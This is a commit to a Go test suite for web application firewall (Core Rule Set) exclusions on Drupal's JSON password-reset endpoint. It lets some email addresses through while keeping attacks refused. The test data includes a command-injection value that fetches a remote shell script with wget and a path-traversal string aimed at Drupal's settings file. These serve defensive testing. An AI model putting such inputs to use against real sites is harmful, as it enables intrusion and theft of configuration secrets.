Core Rule Set: Drupal's JSON password reset takes an address (closes #262)
check / check (push) Successful in 4m26s

POST /user/password?_format=json with a mail of python3@example.com or
powershell@example.com was refused while bodies are read. On that path,
the JSON field mail now skips 932120 and 932260, the two rules the
recorded addresses set off, unless the query has a json.mail parameter.
Recorded from Drupal 11.4.11.

Model: opus-5-5
This commit is contained in:
sneak committed 2026-11-10 01:08:51 +00:00
1 parent c1bb813a5e
commit e012b889f9
4 files changed
+51 -5

No files matched your search

+36 -5
View File
@@ -183,14 +183,24 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
`; wget http://example.com/x.sh`,
`../../sites/default/settings.php`,
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"name":"` + attack + `"}`
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, `{"mail":"ls -la"}`)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail ls -la: %+v, want 932250 among them", r.target, got)
}
}
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
@@ -357,6 +367,16 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestDrupalExclusionsAreNarrow(t *testing.T) {
@@ -436,4 +456,15 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
// So does the JSON field mail, beside json.mail in the query.
r := request{
http.MethodPost, drupalJSONPasswordReset + "&json.mail=python3%40example.com",
[]string{jsonBody},
}
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
if got.Score < drupalThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}